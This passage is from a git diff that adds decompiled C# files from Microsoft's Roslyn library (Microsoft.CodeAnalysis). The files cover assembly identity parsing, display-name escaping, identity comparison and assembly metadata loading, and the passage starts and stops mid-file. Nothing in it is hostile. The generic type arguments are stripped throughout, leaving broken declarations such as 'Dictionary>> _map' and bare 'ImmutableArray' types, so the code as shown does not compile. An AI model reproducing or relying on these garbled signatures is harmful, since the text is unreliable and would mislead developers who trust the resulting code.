CalculatePublicKeyToken(ImmutableArray publicKey) + { + ImmutableArray immutableArray = CryptographicHashProvider.ComputeSha1(publicKey); + int num = immutableArray.Length - 1; + ArrayBuilder instance = ArrayBuilder.GetInstance(8); + for (int i = 0; i < 8; i++) + { + instance.Add(immutableArray[num - i]); + } + return instance.ToImmutableAndFree(); + } + + internal static bool? MemberwiseEqual(AssemblyIdentity x, AssemblyIdentity y) + { + if ((object)x == y) + { + return true; + } + if (!AssemblyIdentityComparer.SimpleNameComparer.Equals(x._name, y._name)) + { + return false; + } + if (x._version.Equals(y._version) && EqualIgnoringNameAndVersion(x, y)) + { + return true; + } + return null; + } + + internal static bool EqualIgnoringNameAndVersion(AssemblyIdentity x, AssemblyIdentity y) + { + if (x.IsRetargetable == y.IsRetargetable && x.ContentType == y.ContentType && AssemblyIdentityComparer.CultureComparer.Equals(x.CultureName, y.CultureName)) + { + return KeysEqual(x, y); + } + return false; + } + + internal static bool KeysEqual(AssemblyIdentity x, AssemblyIdentity y) + { + ImmutableArray lazyPublicKeyToken = x._lazyPublicKeyToken; + ImmutableArray lazyPublicKeyToken2 = y._lazyPublicKeyToken; + if (!lazyPublicKeyToken.IsDefault && !lazyPublicKeyToken2.IsDefault) + { + return lazyPublicKeyToken.SequenceEqual(lazyPublicKeyToken2); + } + if (lazyPublicKeyToken.IsDefault && lazyPublicKeyToken2.IsDefault) + { + return x._publicKey.SequenceEqual(y._publicKey); + } + if (lazyPublicKeyToken.IsDefault) + { + return x.PublicKeyToken.SequenceEqual(lazyPublicKeyToken2); + } + return lazyPublicKeyToken.SequenceEqual(y.PublicKeyToken); + } + + public static AssemblyIdentity FromAssemblyDefinition(Assembly assembly) + { + if (assembly == null) + { + throw new ArgumentNullException("assembly"); + } + return FromAssemblyDefinition(assembly.GetName()); + } + + internal static AssemblyIdentity FromAssemblyDefinition(AssemblyName name) + { + byte[] publicKey = name.GetPublicKey(); + ImmutableArray publicKeyOrToken = ((publicKey != null) ? ImmutableArray.Create(publicKey) : ImmutableArray.Empty); + return new AssemblyIdentity(name.Name, name.Version, name.CultureName, publicKeyOrToken, publicKeyOrToken.Length > 0, (name.Flags & AssemblyNameFlags.Retargetable) != 0, name.ContentType); + } + + internal static AssemblyIdentity FromAssemblyReference(AssemblyName name) + { + return new AssemblyIdentity(name.Name, name.Version, name.CultureName, ImmutableArray.Create(name.GetPublicKeyToken()), hasPublicKey: false, (name.Flags & AssemblyNameFlags.Retargetable) != 0, name.ContentType); + } + + public string GetDisplayName(bool fullKey = false) + { + if (fullKey) + { + return BuildDisplayName(fullKey: true); + } + if (_lazyDisplayName == null) + { + _lazyDisplayName = BuildDisplayName(fullKey: false); + } + return _lazyDisplayName; + } + + public override string ToString() + { + return GetDisplayName(); + } + + internal static string PublicKeyToString(ImmutableArray key) + { + if (key.IsDefaultOrEmpty) + { + return ""; + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + _ = instance.Builder; + AppendKey(instance, key); + return instance.ToStringAndFree(); + } + + private string BuildDisplayName(bool fullKey) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + EscapeName(builder, Name); + builder.Append(", Version="); + builder.Append(_version.Major); + builder.Append("."); + builder.Append(_version.Minor); + builder.Append("."); + builder.Append(_version.Build); + builder.Append("."); + builder.Append(_version.Revision); + builder.Append(", Culture="); + if (_cultureName.Length == 0) + { + builder.Append("neutral"); + } + else + { + EscapeName(builder, _cultureName); + } + if (fullKey && HasPublicKey) + { + builder.Append(", PublicKey="); + AppendKey(builder, _publicKey); + } + else + { + builder.Append(", PublicKeyToken="); + if (PublicKeyToken.Length > 0) + { + AppendKey(builder, PublicKeyToken); + } + else + { + builder.Append("null"); + } + } + if (IsRetargetable) + { + builder.Append(", Retargetable=Yes"); + } + switch (_contentType) + { + case AssemblyContentType.WindowsRuntime: + builder.Append(", ContentType=WindowsRuntime"); + break; + default: + throw ExceptionUtilities.UnexpectedValue(_contentType); + case AssemblyContentType.Default: + break; + } + string result = builder.ToString(); + instance.Free(); + return result; + } + + private static void AppendKey(StringBuilder sb, ImmutableArray key) + { + ImmutableArray.Enumerator enumerator = key.GetEnumerator(); + while (enumerator.MoveNext()) + { + sb.Append(enumerator.Current.ToString("x2")); + } + } + + private string GetDebuggerDisplay() + { + return GetDisplayName(fullKey: true); + } + + public static bool TryParseDisplayName(string displayName, [NotNullWhen(true)] out AssemblyIdentity? identity) + { + if (displayName == null) + { + throw new ArgumentNullException("displayName"); + } + AssemblyIdentityParts parts; + return TryParseDisplayName(displayName, out identity, out parts); + } + + public static bool TryParseDisplayName(string displayName, [NotNullWhen(true)] out AssemblyIdentity? identity, out AssemblyIdentityParts parts) + { + if (!s_TryParseDisplayNameCache.TryGetValue(displayName, out (AssemblyIdentity, AssemblyIdentityParts) value) && tryParseDisplayName(displayName, out var identity2, out var parts2)) + { + value = (identity2, parts2); + s_TryParseDisplayNameCache.TryAdd(displayName, value); + } + (identity, parts) = value; + return identity != null; + static bool tryParseDisplayName(string text, [NotNullWhen(true)] out AssemblyIdentity? reference, out AssemblyIdentityParts reference2) + { + reference = null; + reference2 = (AssemblyIdentityParts)0; + if (text == null) + { + throw new ArgumentNullException("displayName"); + } + if (text.IndexOf('\0') >= 0) + { + return false; + } + int position = 0; + if (!TryParseNameToken(text, ref position, out string value2)) + { + return false; + } + AssemblyIdentityParts assemblyIdentityParts = AssemblyIdentityParts.Name; + AssemblyIdentityParts assemblyIdentityParts2 = AssemblyIdentityParts.Name; + Version version = null; + string cultureName = null; + bool flag = false; + AssemblyContentType assemblyContentType = AssemblyContentType.Default; + ImmutableArray immutableArray = default(ImmutableArray); + ImmutableArray immutableArray2 = default(ImmutableArray); + while (position < text.Length) + { + if (text[position] != ',') + { + return false; + } + position++; + if (!TryParseNameToken(text, ref position, out string value3)) + { + return false; + } + if (position >= text.Length || text[position] != '=') + { + return false; + } + position++; + if (!TryParseNameToken(text, ref position, out string value4)) + { + return false; + } + if (string.Equals(value3, "Version", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.Version) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.Version; + if (!(value4 == "*")) + { + if (!TryParseVersion(value4, out var result, out var parts3)) + { + return false; + } + version = ToVersion(result); + assemblyIdentityParts |= parts3; + } + } + else if (string.Equals(value3, "Culture", StringComparison.OrdinalIgnoreCase) || string.Equals(value3, "Language", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.Culture) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.Culture; + if (!(value4 == "*")) + { + cultureName = (string.Equals(value4, "neutral", StringComparison.OrdinalIgnoreCase) ? null : value4); + assemblyIdentityParts |= AssemblyIdentityParts.Culture; + } + } + else if (string.Equals(value3, "PublicKey", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.PublicKey) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.PublicKey; + if (!(value4 == "*")) + { + if (!TryParsePublicKey(value4, out var key)) + { + return false; + } + immutableArray = key; + assemblyIdentityParts |= AssemblyIdentityParts.PublicKey; + } + } + else if (string.Equals(value3, "PublicKeyToken", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.PublicKeyToken) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.PublicKeyToken; + if (!(value4 == "*")) + { + if (!TryParsePublicKeyToken(value4, out var token)) + { + return false; + } + immutableArray2 = token; + assemblyIdentityParts |= AssemblyIdentityParts.PublicKeyToken; + } + } + else if (string.Equals(value3, "Retargetable", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.Retargetability) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.Retargetability; + if (!(value4 == "*")) + { + if (string.Equals(value4, "Yes", StringComparison.OrdinalIgnoreCase)) + { + flag = true; + } + else + { + if (!string.Equals(value4, "No", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + flag = false; + } + assemblyIdentityParts |= AssemblyIdentityParts.Retargetability; + } + } + else if (string.Equals(value3, "ContentType", StringComparison.OrdinalIgnoreCase)) + { + if ((assemblyIdentityParts2 & AssemblyIdentityParts.ContentType) != 0) + { + return false; + } + assemblyIdentityParts2 |= AssemblyIdentityParts.ContentType; + if (!(value4 == "*")) + { + if (!string.Equals(value4, "WindowsRuntime", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + assemblyContentType = AssemblyContentType.WindowsRuntime; + assemblyIdentityParts |= AssemblyIdentityParts.ContentType; + } + } + else + { + assemblyIdentityParts |= AssemblyIdentityParts.Unknown; + } + } + if (flag && assemblyContentType == AssemblyContentType.WindowsRuntime) + { + return false; + } + bool flag2 = !immutableArray.IsDefault; + bool flag3 = !immutableArray2.IsDefault; + reference = new AssemblyIdentity(value2, version, cultureName, flag2 ? immutableArray : immutableArray2, flag2, flag, assemblyContentType); + if (flag2 && flag3 && !reference.PublicKeyToken.SequenceEqual(immutableArray2)) + { + reference = null; + return false; + } + reference2 = assemblyIdentityParts; + return true; + } + } + + private static bool TryParseNameToken(string displayName, ref int position, [NotNullWhen(true)] out string? value) + { + int i = position; + while (true) + { + if (i == displayName.Length) + { + value = null; + return false; + } + if (!IsWhiteSpace(displayName[i])) + { + break; + } + i++; + } + char c = (IsQuote(displayName[i]) ? displayName[i++] : '\0'); + int num = i; + int num2 = displayName.Length; + bool flag = false; + while (true) + { + if (i >= displayName.Length) + { + i = displayName.Length; + break; + } + char c2 = displayName[i]; + if (c2 == '\\') + { + flag = true; + i += 2; + continue; + } + if (c == '\0') + { + if (IsNameTokenTerminator(c2)) + { + break; + } + if (IsQuote(c2)) + { + value = null; + return false; + } + } + else if (c2 == c) + { + num2 = i; + i++; + break; + } + i++; + } + if (c == '\0') + { + int num3 = i - 1; + while (num3 >= num && IsWhiteSpace(displayName[num3])) + { + num3--; + } + num2 = num3 + 1; + } + else + { + for (; i < displayName.Length; i++) + { + char c3 = displayName[i]; + if (!IsWhiteSpace(c3)) + { + if (IsNameTokenTerminator(c3)) + { + break; + } + value = null; + return false; + } + } + } + position = i; + if (num2 == num) + { + value = null; + return false; + } + if (!flag) + { + value = displayName.Substring(num, num2 - num); + return true; + } + return TryUnescape(displayName, num, num2, out value); + } + + private static bool IsNameTokenTerminator(char c) + { + if (c != '=') + { + return c == ','; + } + return true; + } + + private static bool IsQuote(char c) + { + if (c != '"') + { + return c == '\''; + } + return true; + } + + internal static Version ToVersion(ulong version) + { + return new Version((ushort)(version >> 48), (ushort)(version >> 32), (ushort)(version >> 16), (ushort)version); + } + + internal static bool TryParseVersion(string str, out ulong result, out AssemblyIdentityParts parts) + { + parts = (AssemblyIdentityParts)0; + result = 0uL; + int num = 48; + int num2 = 0; + int num3 = 0; + bool flag = false; + bool flag2 = false; + int num4 = 0; + while (true) + { + char c = ((num4 < str.Length) ? str[num4++] : '\0'); + switch (c) + { + case '\0': + case '.': + if (num2 == 4 || (flag && flag2)) + { + return false; + } + result |= (ulong)((long)num3 << num); + if (flag || flag2) + { + parts |= (AssemblyIdentityParts)(2 << num2); + } + if (c == '\0') + { + return true; + } + num3 = 0; + num -= 16; + num2++; + flag2 = (flag = false); + break; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + flag = true; + num3 = num3 * 10 + c - 48; + if (num3 > 65535) + { + return false; + } + break; + default: + if (c == '*') + { + flag2 = true; + break; + } + return false; + } + } + } + + private static bool TryParsePublicKey(string value, out ImmutableArray key) + { + if (!TryParseHexBytes(value, out key) || !MetadataHelpers.IsValidPublicKey(key)) + { + key = default(ImmutableArray); + return false; + } + return true; + } + + private static bool TryParsePublicKeyToken(string value, out ImmutableArray token) + { + if (string.Equals(value, "null", StringComparison.OrdinalIgnoreCase) || string.Equals(value, "neutral", StringComparison.OrdinalIgnoreCase)) + { + token = ImmutableArray.Empty; + return true; + } + if (value.Length != 16 || !TryParseHexBytes(value, out var result)) + { + token = default(ImmutableArray); + return false; + } + token = result; + return true; + } + + private static bool TryParseHexBytes(string value, out ImmutableArray result) + { + if (value.Length == 0 || value.Length % 2 != 0) + { + result = default(ImmutableArray); + return false; + } + int num = value.Length / 2; + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + int num2 = HexValue(value[i * 2]); + int num3 = HexValue(value[i * 2 + 1]); + if (num2 < 0 || num3 < 0) + { + result = default(ImmutableArray); + instance.Free(); + return false; + } + instance.Add((byte)((num2 << 4) | num3)); + } + result = instance.ToImmutableAndFree(); + return true; + } + + internal static int HexValue(char c) + { + if (c >= '0' && c <= '9') + { + return c - 48; + } + if (c >= 'a' && c <= 'f') + { + return c - 97 + 10; + } + if (c >= 'A' && c <= 'F') + { + return c - 65 + 10; + } + return -1; + } + + private static bool IsWhiteSpace(char c) + { + if (c != ' ' && c != '\t' && c != '\r') + { + return c == '\n'; + } + return true; + } + + private static void EscapeName(StringBuilder result, string? name) + { + if (string.IsNullOrEmpty(name)) + { + return; + } + bool flag = false; + if (IsWhiteSpace(name[0]) || IsWhiteSpace(name[name.Length - 1])) + { + result.Append('"'); + flag = true; + } + foreach (char c in name) + { + switch (c) + { + case '"': + case '\'': + case ',': + case '=': + case '\\': + result.Append('\\'); + result.Append(c); + break; + case '\t': + result.Append("\\t"); + break; + case '\r': + result.Append("\\r"); + break; + case '\n': + result.Append("\\n"); + break; + default: + result.Append(c); + break; + } + } + if (flag) + { + result.Append('"'); + } + } + + private static bool TryUnescape(string str, int start, int end, [NotNullWhen(true)] out string? value) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + int i = start; + while (i < end) + { + char c = str[i++]; + if (c == '\\') + { + if (!Unescape(instance.Builder, str, ref i)) + { + value = null; + return false; + } + } + else + { + instance.Builder.Append(c); + } + } + value = instance.ToStringAndFree(); + return true; + } + + private static bool Unescape(StringBuilder sb, string str, ref int i) + { + if (i == str.Length) + { + return false; + } + char c = str[i++]; + switch (c) + { + case '"': + case '\'': + case ',': + case '/': + case '=': + case '\\': + sb.Append(c); + return true; + case 't': + sb.Append("\t"); + return true; + case 'n': + sb.Append("\n"); + return true; + case 'r': + sb.Append("\r"); + return true; + case 'u': + { + int num = str.IndexOf(';', i); + if (num == -1) + { + return false; + } + try + { + int num2 = Convert.ToInt32(str.Substring(i, num - i), 16); + if (num2 == 0) + { + return false; + } + sb.Append(char.ConvertFromUtf32(num2)); + } + catch + { + return false; + } + i = num + 1; + return true; + } + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityComparer.cs new file mode 100644 index 0000000..f436bb1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityComparer.cs @@ -0,0 +1,141 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public class AssemblyIdentityComparer +{ + public enum ComparisonResult + { + NotEquivalent, + Equivalent, + EquivalentIgnoringVersion + } + + public static AssemblyIdentityComparer Default { get; } = new AssemblyIdentityComparer(); + + public static StringComparer SimpleNameComparer => StringComparer.OrdinalIgnoreCase; + + public static StringComparer CultureComparer => StringComparer.OrdinalIgnoreCase; + + internal AssemblyIdentityComparer() + { + } + + public bool ReferenceMatchesDefinition(string referenceDisplayName, AssemblyIdentity definition) + { + bool unificationApplied; + return Compare(null, referenceDisplayName, definition, out unificationApplied, ignoreVersion: false) != ComparisonResult.NotEquivalent; + } + + public bool ReferenceMatchesDefinition(AssemblyIdentity reference, AssemblyIdentity definition) + { + bool unificationApplied; + return Compare(reference, null, definition, out unificationApplied, ignoreVersion: false) != ComparisonResult.NotEquivalent; + } + + public ComparisonResult Compare(AssemblyIdentity reference, AssemblyIdentity definition) + { + bool unificationApplied; + return Compare(reference, null, definition, out unificationApplied, ignoreVersion: true); + } + + internal ComparisonResult Compare(AssemblyIdentity? reference, string? referenceDisplayName, AssemblyIdentity definition, out bool unificationApplied, bool ignoreVersion) + { + unificationApplied = false; + AssemblyIdentityParts parts; + if ((object)reference != null) + { + bool? flag = TriviallyEquivalent(reference, definition); + if (flag.HasValue) + { + if (flag != true) + { + return ComparisonResult.NotEquivalent; + } + return ComparisonResult.Equivalent; + } + parts = AssemblyIdentityParts.Version | AssemblyIdentityParts.Name | AssemblyIdentityParts.Culture | AssemblyIdentityParts.PublicKeyToken; + } + else if (!AssemblyIdentity.TryParseDisplayName(referenceDisplayName, out reference, out parts) || reference.ContentType != definition.ContentType) + { + return ComparisonResult.NotEquivalent; + } + if (!ApplyUnificationPolicies(ref reference, ref definition, parts, out var isDefinitionFxAssembly)) + { + return ComparisonResult.NotEquivalent; + } + if ((object)reference == definition) + { + return ComparisonResult.Equivalent; + } + bool flag2 = (parts & AssemblyIdentityParts.Culture) != 0; + bool flag3 = (parts & AssemblyIdentityParts.PublicKeyOrToken) != 0; + if (!definition.IsStrongName) + { + if (reference.IsStrongName) + { + return ComparisonResult.NotEquivalent; + } + if (!AssemblyIdentity.IsFullName(parts)) + { + if (!SimpleNameComparer.Equals(reference.Name, definition.Name)) + { + return ComparisonResult.NotEquivalent; + } + if (flag2 && !CultureComparer.Equals(reference.CultureName, definition.CultureName)) + { + return ComparisonResult.NotEquivalent; + } + return ComparisonResult.Equivalent; + } + isDefinitionFxAssembly = false; + } + if (!SimpleNameComparer.Equals(reference.Name, definition.Name)) + { + return ComparisonResult.NotEquivalent; + } + if (flag2 && !CultureComparer.Equals(reference.CultureName, definition.CultureName)) + { + return ComparisonResult.NotEquivalent; + } + if (flag3 && !AssemblyIdentity.KeysEqual(reference, definition)) + { + return ComparisonResult.NotEquivalent; + } + bool flag4 = (parts & AssemblyIdentityParts.Version) != 0; + bool flag5 = (parts & AssemblyIdentityParts.Version) != AssemblyIdentityParts.Version; + if (definition.IsStrongName && flag4 && (flag5 || reference.Version != definition.Version)) + { + if (isDefinitionFxAssembly) + { + unificationApplied = true; + return ComparisonResult.Equivalent; + } + if (ignoreVersion) + { + return ComparisonResult.EquivalentIgnoringVersion; + } + return ComparisonResult.NotEquivalent; + } + return ComparisonResult.Equivalent; + } + + private static bool? TriviallyEquivalent(AssemblyIdentity x, AssemblyIdentity y) + { + if (x.ContentType != y.ContentType) + { + return false; + } + if (x.IsRetargetable || y.IsRetargetable) + { + return null; + } + return AssemblyIdentity.MemberwiseEqual(x, y); + } + + internal virtual bool ApplyUnificationPolicies(ref AssemblyIdentity reference, ref AssemblyIdentity definition, AssemblyIdentityParts referenceParts, out bool isDefinitionFxAssembly) + { + isDefinitionFxAssembly = false; + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityExtensions.cs new file mode 100644 index 0000000..7927d33 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityExtensions.cs @@ -0,0 +1,27 @@ +using System; +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +internal static class AssemblyIdentityExtensions +{ + internal const string WindowsRuntimeIdentitySimpleName = "windows"; + + internal static bool IsWindowsComponent(this AssemblyIdentity identity) + { + if (identity.ContentType == AssemblyContentType.WindowsRuntime) + { + return identity.Name.StartsWith("windows.", StringComparison.OrdinalIgnoreCase); + } + return false; + } + + internal static bool IsWindowsRuntime(this AssemblyIdentity identity) + { + if (identity.ContentType == AssemblyContentType.WindowsRuntime) + { + return string.Equals(identity.Name, "windows", StringComparison.OrdinalIgnoreCase); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityMap.cs new file mode 100644 index 0000000..acfdbc0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityMap.cs @@ -0,0 +1,76 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class AssemblyIdentityMap +{ + private readonly Dictionary>> _map; + + public AssemblyIdentityMap() + { + _map = new Dictionary>>(AssemblyIdentityComparer.SimpleNameComparer); + } + + public bool Contains(AssemblyIdentity identity, bool allowHigherVersion = true) + { + TValue value; + return TryGetValue(identity, out value, allowHigherVersion); + } + + public bool TryGetValue(AssemblyIdentity identity, out TValue value, bool allowHigherVersion = true) + { + if (_map.TryGetValue(identity.Name, out var value2)) + { + int num = -1; + for (int i = 0; i < value2.Count; i++) + { + AssemblyIdentity key = value2[i].Key; + if (AssemblyIdentity.EqualIgnoringNameAndVersion(key, identity)) + { + if (key.Version == identity.Version) + { + value = value2[i].Value; + return true; + } + if (allowHigherVersion && !(key.Version < identity.Version) && (num == -1 || key.Version < value2[num].Key.Version)) + { + num = i; + } + } + } + if (num >= 0) + { + value = value2[num].Value; + return true; + } + } + value = default(TValue); + return false; + } + + public bool TryGetValue(AssemblyIdentity identity, out TValue value, Func comparer) + { + if (_map.TryGetValue(identity.Name, out var value2)) + { + for (int i = 0; i < value2.Count; i++) + { + AssemblyIdentity key = value2[i].Key; + if (comparer(identity.Version, key.Version, value2[i].Value) && AssemblyIdentity.EqualIgnoringNameAndVersion(key, identity)) + { + value = value2[i].Value; + return true; + } + } + } + value = default(TValue); + return false; + } + + public void Add(AssemblyIdentity identity, TValue value) + { + KeyValuePair keyValuePair = KeyValuePairUtil.Create(identity, value); + _map[identity.Name] = (_map.TryGetValue(identity.Name, out var value2) ? value2.Add(keyValuePair) : OneOrMany.Create(keyValuePair)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityParts.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityParts.cs new file mode 100644 index 0000000..d769a5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityParts.cs @@ -0,0 +1,21 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum AssemblyIdentityParts +{ + Name = 1, + Version = 0x1E, + VersionMajor = 2, + VersionMinor = 4, + VersionBuild = 8, + VersionRevision = 0x10, + Culture = 0x20, + PublicKey = 0x40, + PublicKeyToken = 0x80, + PublicKeyOrToken = 0xC0, + Retargetability = 0x100, + ContentType = 0x200, + Unknown = 0x400 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityUtils.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityUtils.cs new file mode 100644 index 0000000..1aca0d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentityUtils.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; + +namespace Microsoft.CodeAnalysis; + +internal static class AssemblyIdentityUtils +{ + public static AssemblyIdentity? TryGetAssemblyIdentity(string filePath) + { + try + { + using FileStream peStream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete); + using PEReader peReader = new PEReader(peStream); + MetadataReader metadataReader = peReader.GetMetadataReader(); + AssemblyDefinition assemblyDefinition = metadataReader.GetAssemblyDefinition(); + string name = metadataReader.GetString(assemblyDefinition.Name); + Version version = assemblyDefinition.Version; + StringHandle culture = assemblyDefinition.Culture; + string cultureName = ((!culture.IsNil) ? metadataReader.GetString(culture) : null); + bool hasPublicKey = (assemblyDefinition.Flags & AssemblyFlags.PublicKey) != 0; + BlobHandle publicKey = assemblyDefinition.PublicKey; + ImmutableArray publicKeyOrToken = ((!publicKey.IsNil) ? metadataReader.GetBlobBytes(publicKey).AsImmutableOrNull() : default(ImmutableArray)); + return new AssemblyIdentity(name, version, cultureName, publicKeyOrToken, hasPublicKey); + } + catch + { + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyMetadata.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyMetadata.cs new file mode 100644 index 0000000..02336ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyMetadata.cs @@ -0,0 +1,270 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using System.Threading; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class AssemblyMetadata : Metadata +{ + private sealed class Data + { + public static readonly Data Disposed = new Data(); + + public readonly ImmutableArray Modules; + + public readonly PEAssembly? Assembly; + + public bool IsDisposed => Assembly == null; + + private Data() + { + } + + public Data(ImmutableArray modules, PEAssembly assembly) + { + Modules = modules; + Assembly = assembly; + } + } + + private readonly Func? _moduleFactoryOpt; + + private readonly ImmutableArray _initialModules; + + private Data? _lazyData; + + private ImmutableArray _lazyPublishedModules; + + internal readonly WeakList CachedSymbols = new WeakList(); + + public override MetadataImageKind Kind => MetadataImageKind.Assembly; + + private AssemblyMetadata(AssemblyMetadata other, bool shareCachedSymbols) + : base(isImageOwner: false, other.Id) + { + if (shareCachedSymbols) + { + CachedSymbols = other.CachedSymbols; + } + _lazyData = other._lazyData; + _moduleFactoryOpt = other._moduleFactoryOpt; + _initialModules = other._initialModules; + } + + internal AssemblyMetadata(ImmutableArray modules) + : base(isImageOwner: true, MetadataId.CreateNewId()) + { + _initialModules = modules; + } + + internal AssemblyMetadata(ModuleMetadata manifestModule, Func moduleFactory) + : base(isImageOwner: true, MetadataId.CreateNewId()) + { + _initialModules = ImmutableArray.Create(manifestModule); + _moduleFactoryOpt = moduleFactory; + } + + public static AssemblyMetadata CreateFromImage(ImmutableArray peImage) + { + return Create(ModuleMetadata.CreateFromImage(peImage)); + } + + public static AssemblyMetadata CreateFromImage(IEnumerable peImage) + { + return Create(ModuleMetadata.CreateFromImage(peImage)); + } + + public static AssemblyMetadata CreateFromStream(Stream peStream, bool leaveOpen = false) + { + return Create(ModuleMetadata.CreateFromStream(peStream, leaveOpen)); + } + + public static AssemblyMetadata CreateFromStream(Stream peStream, PEStreamOptions options) + { + return Create(ModuleMetadata.CreateFromStream(peStream, options)); + } + + public static AssemblyMetadata CreateFromFile(string path) + { + return CreateFromFile(ModuleMetadata.CreateFromFile(path), path); + } + + internal static AssemblyMetadata CreateFromFile(ModuleMetadata manifestModule, string path) + { + return new AssemblyMetadata(manifestModule, (string moduleName) => ModuleMetadata.CreateFromFile(Path.Combine(Path.GetDirectoryName(path) ?? "", moduleName))); + } + + public static AssemblyMetadata Create(ModuleMetadata module) + { + if (module == null) + { + throw new ArgumentNullException("module"); + } + return new AssemblyMetadata(ImmutableArray.Create(module)); + } + + public static AssemblyMetadata Create(ImmutableArray modules) + { + if (modules.IsDefaultOrEmpty) + { + throw new ArgumentException(CodeAnalysisResources.AssemblyMustHaveAtLeastOneModule, "modules"); + } + for (int i = 0; i < modules.Length; i++) + { + if (modules[i] == null) + { + throw new ArgumentNullException("modules[" + i + "]"); + } + if (!modules[i].IsImageOwner) + { + throw new ArgumentException(CodeAnalysisResources.ModuleCopyCannotBeUsedToCreateAssemblyMetadata, "modules[" + i + "]"); + } + } + return new AssemblyMetadata(modules); + } + + public static AssemblyMetadata Create(IEnumerable modules) + { + return Create(modules.AsImmutableOrNull()); + } + + public static AssemblyMetadata Create(params ModuleMetadata[] modules) + { + return Create(ImmutableArray.CreateRange(modules)); + } + + internal new AssemblyMetadata Copy() + { + return new AssemblyMetadata(this, shareCachedSymbols: true); + } + + internal AssemblyMetadata CopyWithoutSharingCachedSymbols() + { + return new AssemblyMetadata(this, shareCachedSymbols: false); + } + + protected override Metadata CommonCopy() + { + return Copy(); + } + + public ImmutableArray GetModules() + { + if (_lazyPublishedModules.IsDefault) + { + ImmutableArray immutableArray = GetOrCreateData().Modules; + if (!IsImageOwner) + { + immutableArray = immutableArray.SelectAsArray((ModuleMetadata module) => module.Copy()); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyPublishedModules, immutableArray); + } + if (_lazyData == Data.Disposed) + { + throw new ObjectDisposedException("AssemblyMetadata"); + } + return _lazyPublishedModules; + } + + internal PEAssembly? GetAssembly() + { + return GetOrCreateData().Assembly; + } + + private Data GetOrCreateData() + { + if (_lazyData == null) + { + ImmutableArray immutableArray = _initialModules; + ImmutableArray.Builder builder = null; + bool flag = false; + try + { + if (_moduleFactoryOpt != null) + { + ImmutableArray moduleNames = _initialModules[0].GetModuleNames(); + if (moduleNames.Length > 0) + { + builder = ImmutableArray.CreateBuilder(1 + moduleNames.Length); + builder.Add(_initialModules[0]); + ImmutableArray.Enumerator enumerator = moduleNames.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + builder.Add(_moduleFactoryOpt(current)); + } + immutableArray = builder.ToImmutable(); + } + } + PEAssembly assembly = new PEAssembly(this, immutableArray.SelectAsArray((ModuleMetadata m) => m.Module)); + Data value = new Data(immutableArray, assembly); + flag = Interlocked.CompareExchange(ref _lazyData, value, 